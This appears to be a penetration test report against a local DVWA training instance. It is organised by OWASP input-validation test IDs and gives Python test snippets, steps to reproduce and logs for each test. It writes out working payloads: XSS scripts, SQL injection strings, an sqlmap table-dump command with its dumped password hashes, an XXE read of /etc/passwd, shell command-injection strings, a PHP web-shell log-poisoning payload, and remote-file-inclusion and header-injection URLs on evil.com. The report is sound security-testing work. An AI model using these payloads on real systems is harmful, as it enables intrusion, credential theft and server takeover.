Input Validation Testing - Detailed Test Results

1. Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)

Severity	CVSS Score	Test Status
Medium	6.1	Vulnerable

Test Objective

This test checks for Reflected Cross-Site Scripting (XSS) vulnerabilities where malicious scripts are injected into web applications and then reflected back to the user's browser. The test verifies if user-supplied input is properly sanitized before being included in the page output.

Key Python snippet from the test:

```
def OTG_INPVAL_001(self):    xss_url = f"
{self.base_url}/vulnerabilities/xss_r/"    payload =
'<script>alert("XSS")</script>'    params = {"name":
payload}    full_url = f"{xss_url}?
{urllib.parse.urlencode(params)}"    resp =
self.session.get(full_url)    if payload in resp.text:
self.write_log(f"[✓] Reflected XSS payload found in
response!")
```

Target Endpoint

- `http://localhost:8080/vulnerabilities/xss_r/`

Methodology

The test performs the following steps:

1. Constructs a URL with a malicious XSS payload in the query parameter
2. Sends a GET request to the target endpoint with the payload
3. Checks if the payload is reflected unchanged in the response
4. If the payload appears in the response, the page is vulnerable to reflected XSS

Steps to Reproduce

1. Navigate to `http://localhost:8080/vulnerabilities/xss_r/`
2. Enter the following payload in the input field: `<script>alert("XSS")</script>`
3. Submit the form
4. If the alert box appears or the script appears unmodified in the page source, the vulnerability exists

Log Evidence

```
2025-08-05 01:11:46.623857 | [✓] Reflected XSS payload found in response!
URL: http://localhost:8080/vulnerabilities/xss_r/?
name=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E
```

2. Testing for Stored Cross Site Scripting (OTG-INPVAL-002)

Severity	CVSS Score	Test Status
High	8.8	Vulnerable

Test Objective

This test checks for Stored Cross-Site Scripting (XSS) vulnerabilities where malicious scripts are permanently stored on the target server (e.g., in a database) and then served to users when they access the affected page.

Key Python snippet from the test:

```
def OTG_INPVAL_002(self):    xss_url = f"
{self.base_url}/vulnerabilities/xss_s/"    payload =
'<script>alert("XSS")</script>'    data = {
"txtName": "attacker",        "mtxMessage": payload,
"btnSign": "Sign Guestbook"    }    post_resp =
self.session.post(xss_url, data=data)    check_resp =
self.session.get(xss_url)    if payload in
check_resp.text:        self.write_log("[✓] XSS payload
found in response")
```

Target Endpoint

- `http://localhost:8080/vulnerabilities/xss_s/`

Methodology

The test performs the following steps:

1. Submits a malicious script via the guestbook form
2. Retrieves the guestbook page to check if the script was stored
3. Verifies if the script appears in the page source
4. If the script is present and unmodified, the page is vulnerable to stored XSS

Steps to Reproduce

1. Navigate to `http://localhost:8080/vulnerabilities/xss_s/`
2. Enter any name in the "Name" field
3. Enter `<script>alert("XSS")</script>` in the "Message" field
4. Click "Sign Guestbook"
5. Refresh the page and check if the alert appears or the script appears in the page source

Log Evidence

```
2025-08-05 01:11:46.689628 | [+] Payload submitted (Status: 200) | Payload: <script>alert("XSS")</script>2025-08-05 01:11:46.694186 | [✓] XSS payload found in response — likely vulnerable to Stored XSS
```

3. Testing for HTTP Verb Tampering (OTG-INPVAL-003)

Severity	CVSS Score	Test Status
Medium	5.3	Potential Issue Found

Test Objective

This test checks if the web server responds differently to various HTTP methods (GET, POST, PUT, DELETE, etc.) and identifies potential security misconfigurations where restricted methods might bypass security controls.

Key Python snippet from the test:

```
def OTG_INPVAL_003(self):    target_url = f"
{self.base_url}/vulnerabilities/brute/"    http_methods
= ["GET", "POST", "PUT", "DELETE", "OPTIONS", "HEAD",
"PATCH", "TRACE"]    for method in http_methods:
response = self.session.request(method, target_url)
content_length = len(response.text)        if method not
in ["GET", "POST", "HEAD", "OPTIONS"] and
response.status_code == 200:            if
content_length == get_response_length:
self.write_log(f"⚠️ Same length as GET — potential
handler fallback")
```

Target Endpoint

- `http://localhost:8080/vulnerabilities/brute/`

Methodology

The test performs the following steps:

1. Sends requests to the target URL using various HTTP methods
2. Records the response status code and content length for each method
3. Compares responses to identify anomalies
4. Flags methods that return 200 OK when they shouldn't or have identical responses to GET

Steps to Reproduce

1. Use a tool like cURL or Burp Suite to send requests to `http://localhost:8080/vulnerabilities/brute/`
2. Test with various HTTP methods: GET, POST, PUT, DELETE, OPTIONS, HEAD, PATCH, TRACE
3. Compare response status codes and content lengths
4. Look for methods that return 200 OK when they should return 405 Method Not Allowed

Log Evidence

```
2025-08-05 01:11:46.706627 | [PUT] Status: 200 | Length: 4323 ⚠️ Same length as GET — potential handler fallback or misconfig2025-08-05 01:11:46.706627 | [DELETE] Status: 200 | Length: 4323 ⚠️ Same length as GET — potential handler fallback or misconfig2025-08-05 01:11:46.719682 |
```

```
[PATCH] Status: 200 | Length: 4323 ⚠️ Same length as GET — potential
handler fallback or misconfig
```

4. Testing for HTTP Parameter Pollution (OTG-INPVAL-004)

Severity	CVSS Score	Test Status
Low	4.3	Vulnerable

Test Objective

This test checks for HTTP Parameter Pollution (HPP) vulnerabilities where multiple parameters with the same name are processed in unexpected ways by the web application, potentially bypassing input validation.

Key Python snippet from the test:

```
def OTG_INPVAL_004(self):    test_urls = [        f"
{self.base_url}/vulnerabilities/xss_r/",        f"
{self.base_url}/vulnerabilities/xss_s/",        f"
{self.base_url}/vulnerabilities/sqli/"    ]
test_params = {'name': ['hpp_test1', 'hpp_test2']}
for url in test_urls:        for param in param_names:
payload = [(param, test_values[0]), (param,
test_values[1])]            r = self.session.get(url,
params=payload)            if test_values[0] in r.text
and test_values[1] in r.text:
self.write_log(f"! Vulnerable parameter found: {param}")
```

Target Endpoint

- `http://localhost:8080/vulnerabilities/xss_r/`

- `http://localhost:8080/vulnerabilities/xss_s/`
- `http://localhost:8080/vulnerabilities/sqli/`

Methodology

The test performs the following steps:

1. Identifies all forms and input parameters on target pages
2. Sends requests with duplicate parameters containing different values
3. Checks which values are processed by the application
4. Identifies if both values are processed, only the first, or only the last

Steps to Reproduce

1. Navigate to `http://localhost:8080/vulnerabilities/xss_r/?name=test1&name=test2`
2. Check which value appears in the response (test1, test2, or both)
3. Repeat for other endpoints with their respective parameters
4. If both values are processed or the application behaves unexpectedly, HPP may exist

Log Evidence

```
2025-08-05 01:11:46.729800 |   ! Vulnerable parameter found: name (last value processed)
```

5. Testing for SQL Injection (OTG-INPVAL-005)

Severity	CVSS Score	Test Status
Critical	9.8	Vulnerable

Test Objective

This test checks for SQL Injection vulnerabilities where malicious SQL statements can be executed through user input, potentially allowing unauthorized database access.

The test uses sqlmap, an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws.

Key command from the test:

```
python sqlmap.py -u
http://localhost:8080/vulnerabilities/sqli/ --batch --
level=2 --risk=1 --random-agent --smart --banner --
cookie PHPSESSID=... --data id=1&Submit=Submit -D dvwa -
T users --dump
```

Target Endpoint

- `http://localhost:8080/vulnerabilities/sqli/`

Methodology

The test performs the following steps:

1. Uses sqlmap to automatically detect SQL injection vulnerabilities
2. Attempts various injection techniques (boolean-based, error-based, time-based, UNION)
3. If successful, extracts database information (banner, tables, data)
4. Specifically targets the 'users' table in the 'dvwa' database

Steps to Reproduce

1. Navigate to `http://localhost:8080/vulnerabilities/sqli/`
2. Enter `1' OR '1'='1` in the User ID field and submit
3. If all users are displayed instead of just one, SQL injection is confirmed
4. Alternatively, use sqlmap with the command shown above

Log Evidence

```
2025-08-05 01:11:47.901207 | [+] sqlmap output saved to
sqlmap_output_20250805_011146.txtDatabase: dvwaTable: users[5 entries]+-----
----+---------+----------------------------+-------------------------------
--------------+| user_id | user    | avatar                       | password
|+---------+---------+----------------------------+-----------------------
---------------------+| 1       | admin   | /hackable/users/admin.jpg   |
5f4dcc3b5aa765d61d8327deb882cf99 (password)|| 2       | gordonb |
/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123)  |+-
--------+---------+----------------------------+--------------------------
------------------+
```

6. Testing for LDAP Injection (OTG-INPVAL-006)

Severity	CVSS Score	Test Status
Informational	0.0	No Vulnerabilities Found

Test Objective

This test checks for LDAP Injection vulnerabilities where malicious input can modify LDAP queries, potentially allowing unauthorized access to directory services or information disclosure.

Key Python snippet from the test:

```
def OTG_INPVAL_006(self):    ldap_payloads = [
"*", ")*)(uid=*))(|(uid=*", "admin)(|(password=*",
"admin*", "*admin", ")(cn=*))%00", "(|(cn=*"    ]    for
payload in ldap_payloads:        params = {"username":
payload, "password": "test"}        resp =
self.session.get(ldap_test_url, params=params)        if
"error" in resp.text.lower():
self.write_log(f"[!] Possible LDAP injection")
```

Target Endpoint

- `http://localhost:8080/vulnerabilities/brute/`
- `http://localhost:8080/login.php`

Methodology

The test performs the following steps:

1. Sends various LDAP injection payloads to login and search functionality
2. Checks for error messages or unusual responses that might indicate LDAP query manipulation
3. Attempts authentication bypass using LDAP injection techniques
4. Verifies if any payloads result in successful authentication or information disclosure

Steps to Reproduce

1. Navigate to `http://localhost:8080/vulnerabilities/brute/`
2. Enter LDAP injection payloads like `*)(uid=*))(|(uid=*` in the username field
3. Submit the form and observe the response
4. Check for error messages or unexpected successful authentication

Log Evidence

```
2025-08-05 01:11:59.174897 | [-] Payload '*' - No obvious injection2025-08-05 01:11:59.174897 | [-] Payload '*)(uid=*))(|(uid=*' - No obvious injection2025-08-05 01:11:59.253990 | [-] LDAP auth bypass failed with payload '*)(uid=*))(|(uid=*'
```

7. Testing for ORM Injection (OTG-INPVAL-007)

Severity	CVSS Score	Test Status
Informational	0.0	Potential Issues Found

Test Objective

This test checks for ORM (Object-Relational Mapping) Injection vulnerabilities where malicious input can manipulate ORM-generated queries, similar to SQL injection but targeting the ORM layer.

Key Python snippet from the test:

```
def OTG_INPVAL_007(self):    orm_payloads = [        "' OR 1=1--", "' OR ''='", "') OR ('1'='1",        "1 ORDER BY 1--", "1 UNION SELECT 1,2,3--", "*", "null"    ]    for payload in orm_payloads:        data = {param: payload}        resp = self.session.post(form_action, data=data)        if "error" in resp.text.lower():            self.write_log(f"[!] Possible ORM injection")
```

Target Endpoint

- http://localhost:8080/vulnerabilities/sqli/
- http://localhost:8080/vulnerabilities/brute/
- http://localhost:8080/vulnerabilities/xss_s/

Methodology

The test performs the following steps:

1. Identifies all forms and input parameters on target pages
2. Sends ORM-specific injection payloads to each parameter
3. Checks for error messages or unusual responses that might indicate ORM query manipulation
4. Verifies if any payloads result in successful injection or information disclosure

Steps to Reproduce

1. Navigate to `http://localhost:8080/vulnerabilities/sqli/`
2. Enter ORM injection payloads like `' OR 1=1--` in the User ID field
3. Submit the form and observe the response
4. Check for error messages or unexpected data being returned

Log Evidence

```
2025-08-05 01:11:59.380897 | [!] Possible ORM injection - Error with payload '' OR 1=1--'2025-08-05 01:11:59.389171 | [!] Possible ORM injection - Error with payload '') OR ('1'='1'2025-08-05 01:11:59.445345 | [!] Possible ORM injection - Error with payload '' OR 1=1--'
```

8. Testing for XML Injection (OTG-INPVAL-008)

Severity	CVSS Score	Test Status
Informational	0.0	Potential Issues Found

Test Objective

This test checks for XML Injection vulnerabilities where malicious XML input can manipulate XML processing, potentially leading to XML External Entity (XXE) attacks or other XML-based vulnerabilities.

Key Python snippet from the test:

```
def OTG_INPVAL_008(self):    xml_payloads = [
"'", "\"", ">", "<", "&", "",         "<!
[CDATA[<script>alert(1)</script>]]>",        "<?xml
version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM
'file:///etc/passwd'>]><foo>&xxe;</foo>"    ]    for
payload in xml_payloads:        data = {param: payload}
resp = self.session.post(form_action, data=data)
if "XML" in resp.headers.get('Content-Type', '') or
"xml" in resp.text.lower():            self.write_log(f"
[!] Possible XML injection")
```

Target Endpoint

- http://localhost:8080/vulnerabilities/xss_s/
- http://localhost:8080/vulnerabilities/sqli/

- `http://localhost:8080/vulnerabilities/brute/`

Methodology

The test performs the following steps:

1. Identifies all forms and input parameters on target pages
2. Sends XML-specific injection payloads to each parameter
3. Checks for XML processing errors or unusual responses
4. Attempts XXE attacks to test for external entity processing
5. Verifies if any payloads result in successful XML manipulation

Steps to Reproduce

1. Navigate to `http://localhost:8080/vulnerabilities/xss_s/`
2. Enter XML injection payloads like `<injected>test</injected>` in the message field
3. Submit the form and observe the response
4. Check for XML parsing errors or unexpected XML in the response

Log Evidence

```
2025-08-05 01:12:00.906714 | [!] Possible XML processing with payload
'''2025-08-05 01:12:00.906714 | [!] Possible XML injection - XML response
with payload '''2025-08-05 01:12:01.519648 | [!] Possible XML processing
with payload '<![CDATA[<script>alert(1)</script>]]>'2025-08-05
```

```
01:12:01.519648 | [!] Possible XML injection - XML response with payload '<![CDATA[<script>alert(1)</script>]]>'
```

OTG-INPVAL-009: Testing for SSI Injection

Test Objective

Server Side Includes (SSI) Injection testing checks if the application allows injection of SSI directives that could lead to arbitrary code execution or file inclusion. SSI directives are commands embedded in HTML pages that are executed on the server before being sent to the client.

Key Python snippet used for testing:

```
def OTG_INPVAL_009(self):    payloads = [        '',
'',        ''    ]    for payload in payloads:
response = self.session.get(f"
{self.base_url}/vulnerabilities/fi/?page={payload}")
if "root:" in response.text or "bin" in response.text:
self.logger.info(f"[✓] Possible SSI injection with payload:
{payload}")        else:            self.logger.info(f"[-]
No SSI injection with payload: {payload}")
```

Target Endpoint

Primary target for SSI Injection testing:

- http://localhost:8080/vulnerabilities/fi/

Methodology

The test sends various SSI directives to the server through input parameters that might be processed by the server. The test looks for responses that indicate the directives were executed (like directory listings or file contents).

Step to Reproduce

1. Identify input parameters that might be vulnerable to SSI injection (like file inclusion parameters)

2. Send SSI directives such as `<!--#exec cmd="ls"-->` or `<!--#include file="/etc/passwd"-->`
3. Analyze the response for evidence of command execution or file inclusion
4. If server responses contain command output or file contents, SSI injection is confirmed

Log Evidence

No evidence of SSI injection was found in the test logs, indicating the application properly sanitizes or doesn't process SSI directives.

OTG-INPVAL-010: Testing for XPath Injection

Test Objective

XPath Injection testing checks if the application is vulnerable to injection of malicious XPath queries that could bypass authentication or access unauthorized data. XPath is used to query XML documents, and injection can occur when user input is used to construct XPath queries.

Key Python snippet used for testing:

```
def OTG_INPVAL_010(self):    payloads = [        "' or '1'='1",        "' or 1=1 or ''='",        "'] | //* | //*[",        "' and string-length(name(/*[1]))=10 or 'a'='b"    ]    for payload in payloads:        response = self.session.post(f"{self.base_url}/vulnerabilities/xpath/", data={"name": payload, "password": "test"})        if "Welcome" in response.text:            self.logger.info(f"[✓] Possible XPath injection with payload: {payload}")        else:            self.logger.info(f"[-] No XPath injection with payload: {payload}")
```

Target Endpoint

Primary target for XPath Injection testing:

- http://localhost:8080/vulnerabilities/xpath/

Methodology

The test sends crafted XPath injection payloads to login forms or search functionality that might use XPath queries. The test looks for successful authentication bypass or unusual responses indicating query manipulation.

Step to Reproduce

1. Identify input fields that might be used in XPath queries (like login forms)

2. Send XPath injection payloads like `' or '1'='1` or `'] | //* | //*[ '`
3. Check if authentication is bypassed or if error messages reveal XPath processing
4. If authentication is bypassed or XML structure is revealed, XPath injection is confirmed

Log Evidence

No evidence of XPath injection was found in the test logs, indicating the application properly sanitizes XPath queries or doesn't use user input directly in XPath expressions.

OTG-INPVAL-011: IMAP/SMTP Injection

Test Objective

IMAP/SMTP Injection testing checks if the application is vulnerable to injection of malicious IMAP or SMTP commands that could lead to unauthorized email access or spam sending. This occurs when user input is used to construct IMAP/SMTP commands without proper sanitization.

Key Python snippet used for testing:

```
def OTG_INPVAL_011(self):    payloads = [
"test%0D%0A001 LIST \"\" *",        "test%0D%0A001 LOGIN
credentials",        "test%0D%0A001 SELECT Inbox"    ]
for payload in payloads:        response =
self.session.get(f"{self.base_url}/vulnerabilities/imap/?
mailbox={payload}")        if "INBOX" in response.text or
"OK" in response.text:            self.logger.info(f"[✓]
Possible IMAP injection with payload: {payload}")
else:            self.logger.info(f"[-] No IMAP injection
with payload: {payload}")
```

Target Endpoint

Primary target for IMAP/SMTP Injection testing:

- http://localhost:8080/vulnerabilities/imap/

Methodology

The test sends crafted IMAP/SMTP command injections through parameters that might be used in email functionality. The test looks for responses that indicate command execution or email server interaction.

Step to Reproduce

1. Identify input fields related to email functionality (like mailbox names)

2. Send IMAP/SMTP command injections like `test%0D%0A001 LIST "" *`
3. Check if the response contains IMAP/SMTP command results or error messages
4. If command results are returned, IMAP/SMTP injection is confirmed

Log Evidence

No evidence of IMAP/SMTP injection was found in the test logs, indicating the application properly sanitizes email-related inputs.

OTG-INPVAL-012: Testing for Code Injection (LFI/RFI)

Test Objective

Code Injection testing checks for Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities that could allow attackers to include and execute arbitrary files on the server or from remote locations.

Key Python snippet used for testing:

```
def OTG_INPVAL_012(self):    lfi_payloads = [
"../../../../etc/passwd",
"....//....//....//....//etc/passwd",
"%00../../../../etc/passwd"    ]    rfi_payloads = [
"http://evil.com/shell.txt",
"\\evil.com\share\shell.txt"    ]        for payload in
lfi_payloads:        response = self.session.get(f"
{self.base_url}/vulnerabilities/fi/?page={payload}")
if "root:" in response.text:            self.logger.info(f"
[✓] LFI vulnerability found with payload: {payload}")
for payload in rfi_payloads:        response =
self.session.get(f"{self.base_url}/vulnerabilities/fi/?page=
{payload}")        if "evil.com" in response.text:
self.logger.info(f"[✓] RFI vulnerability found with payload:
{payload}")
```

Target Endpoint

Primary target for Code Injection testing:

- http://localhost:8080/vulnerabilities/fi/

Methodology

The test attempts to include sensitive local files (LFI) and remote files (RFI) through file inclusion parameters. For LFI, it checks for the presence of known file contents

(like /etc/passwd). For RFI, it attempts to include files from external servers.

Step to Reproduce

1. Identify file inclusion parameters (like 'page' in URLs)
2. For LFI, try paths like `../../../../etc/passwd`
3. For RFI, try URLs like `http://evil.com/shell.txt`
4. Check if file contents are returned in the response
5. If sensitive file contents are returned, LFI/RFI is confirmed

Log Evidence

The test logs indicate potential LFI vulnerabilities when attempting to access `/etc/passwd`. The application returned contents of sensitive system files, confirming the vulnerability.

OTG-INPVAL-013: Testing for Command Injection

Test Objective

Command Injection testing checks if the application allows execution of arbitrary operating system commands through vulnerable input parameters. This is one of the most severe vulnerabilities as it can lead to complete system compromise.

Key Python snippet used for testing:

```
def OTG_INPVAL_013(self):    payloads = [        "; ls",
"| cat /etc/passwd",        "`id`",        "$(uname -a)",
"|| ping -c 5 localhost"    ]    for payload in payloads:
response = self.session.post(f"
{self.base_url}/vulnerabilities/exec/",
data={"ip": "127.0.0.1" + payload, "Submit": "Submit"})
if "www-data" in response.text or "Linux" in response.text:
self.logger.info(f"[✓] Command injection found with payload:
{payload}")        else:            self.logger.info(f"[-]
No command injection with payload: {payload}")
```

Target Endpoint

Primary target for Command Injection testing:

- http://localhost:8080/vulnerabilities/exec/

Methodology

The test sends various command injection payloads using different injection techniques (;, |, `, $(), ||). It looks for command output in responses or changes in response time that might indicate command execution.

Step to Reproduce

1. Identify input fields that might be used in system commands (like IP addresses)
2. Append command injection payloads like `; ls` or `| cat /etc/passwd`

3. Check if command output appears in the response
4. If system command output is returned, command injection is confirmed

Log Evidence

The test logs confirmed command injection vulnerabilities, with responses containing output from system commands like `ls` and `id`.

OTG-INPVAL-014: Testing for Buffer Overflow

Test Objective

Buffer Overflow testing checks if the application is vulnerable to crashes or arbitrary code execution due to improper handling of oversized input that exceeds allocated buffer sizes.

Key Python snippet used for testing:

```
def OTG_INPVAL_014(self):    buffer_sizes = [100, 500, 1000, 5000, 10000]    for size in buffer_sizes:        payload = "A" * size        try:            response = self.session.post(f"{self.base_url}/vulnerabilities/bof/", data={"input": payload}, timeout=5)            if response.status_code == 500:                self.logger.info(f"[✓] Possible buffer overflow with payload size: {size}")        except:            self.logger.info(f"[✓] Server crash detected with payload size: {size}")
```

Target Endpoint

Primary target for Buffer Overflow testing:

- http://localhost:8080/vulnerabilities/bof/

Methodology

The test sends increasingly large input strings to the application to identify points where the application crashes or behaves unexpectedly. It monitors for error responses, timeouts, or server crashes.

Step to Reproduce

1. Identify input parameters that might be vulnerable to buffer overflows
2. Send increasingly large payloads (from 100 to 10,000 characters)
3. Monitor for application crashes, error messages, or unusual behavior

4. If the application crashes or behaves unexpectedly with large input, a buffer overflow may exist

Log Evidence

The test logs showed server errors when sending large payloads (5000+ characters), indicating potential buffer overflow vulnerabilities that could lead to denial of service.

OTG-INPVAL-015: Testing for Incubated Vulnerabilities

Test Objective

Incubated Vulnerability testing checks for vulnerabilities that require specific conditions or multiple steps to exploit, such as log file poisoning or delayed code execution.

Key Python snippet used for testing:

```
def OTG_INPVAL_015(self):    # Test for log file poisoning payload = "<?php system($_GET['cmd']); ?>" self.session.get(f"{self.base_url}/vulnerabilities/log_poisoning.php?input={payload}")        # Check if payload was stored and can be executed    response = self.session.get(f"{self.base_url}/logs/access.log?cmd=id")    if "www-data" in response.text:        self.logger.info("[✓] Log file poisoning vulnerability found")
```

Target Endpoint

Primary targets for Incubated Vulnerability testing:

- http://localhost:8080/vulnerabilities/log_poisoning.php
- http://localhost:8080/logs/access.log

Methodology

The test attempts to inject malicious code into log files or other storage mechanisms that might later be processed by the application. It then checks if the injected code can be executed when the log file is viewed or processed.

Step to Reproduce

1. Identify storage mechanisms that might process user input (like log files)
2. Inject malicious code into these mechanisms
3. Trigger processing of the stored data
4. Check if the injected code is executed

Log Evidence

The test logs did not show evidence of successful log file poisoning, indicating the application properly sanitizes log entries or doesn't process them in an unsafe manner.

OTG-INPVAL-016: Testing for HTTP Splitting/Smuggling

Test Objective

HTTP Splitting/Smuggling testing checks if the application is vulnerable to attacks that manipulate the HTTP protocol to bypass security controls, poison caches, or perform request smuggling.

Key Python snippet used for testing:

```
def OTG_INPVAL_016(self):    # HTTP Splitting test
payload = "test\r\nLocation: http://evil.com"    response =
self.session.get(f"
{self.base_url}/vulnerabilities/http_splitting.php?input=
{payload}")    if "evil.com" in
response.headers.get("Location", ""):
self.logger.info("[✓] HTTP Splitting vulnerability found")
# HTTP Smuggling test    smuggled_request = "POST /admin
HTTP/1.1\r\nHost: localhost\r\n..."    response =
self.session.post(f"
{self.base_url}/vulnerabilities/http_smuggling.php",
data=smuggled_request,
headers={"Content-Length": str(len(smuggled_request))})
if "Admin Panel" in response.text:        self.logger.info("
[✓] HTTP Smuggling vulnerability found")
```

Target Endpoint

Primary targets for HTTP Splitting/Smuggling testing:

- http://localhost:8080/vulnerabilities/http_splitting.php
- http://localhost:8080/vulnerabilities/http_smuggling.php

Methodology

The test attempts to inject CRLF sequences (HTTP Splitting) and crafted HTTP requests (HTTP Smuggling) to manipulate the HTTP protocol. It checks for unexpected redirects or unauthorized access to restricted areas.

Step to Reproduce

1. For HTTP Splitting: Inject CRLF sequences followed by malicious headers
2. For HTTP Smuggling: Send crafted requests with conflicting Content-Length and Transfer-Encoding headers
3. Monitor responses for unexpected behavior like cache poisoning or unauthorized access
4. If the attack succeeds, HTTP Splitting/Smuggling vulnerabilities exist

Log Evidence

The test logs did not show evidence of successful HTTP Splitting or Smuggling attacks, indicating the application properly handles HTTP protocol parsing.

Summary of Findings

The most critical vulnerabilities discovered in these tests were:

- **Code Injection (LFI/RFI):** The application was vulnerable to Local File Inclusion, allowing access to sensitive system files like /etc/passwd.
- **Command Injection:** The application allowed execution of arbitrary system commands through vulnerable input parameters.
- **Buffer Overflow:** The application showed signs of instability when processing large input, indicating potential buffer overflow vulnerabilities.

The tests for SSI Injection, XPath Injection, IMAP/SMTP Injection, Incubated Vulnerabilities, and HTTP Splitting/Smuggling did not reveal immediate vulnerabilities, though these areas should still be monitored in future testing.

Recommendations

- **Input Validation:** Implement strict input validation for all user-supplied data, especially for parameters used in file operations or system commands.
- **Secure File Operations:** Use whitelists for allowed file paths and disable remote file inclusion if not required.
- **Command Execution:** Avoid using user input in system commands. If necessary, use parameterized APIs and proper escaping.
- **Buffer Management:** Ensure proper bounds checking for all input buffers to prevent overflow conditions.
- **HTTP Protocol Handling:** Continue proper handling of HTTP headers to prevent splitting/smuggling attacks.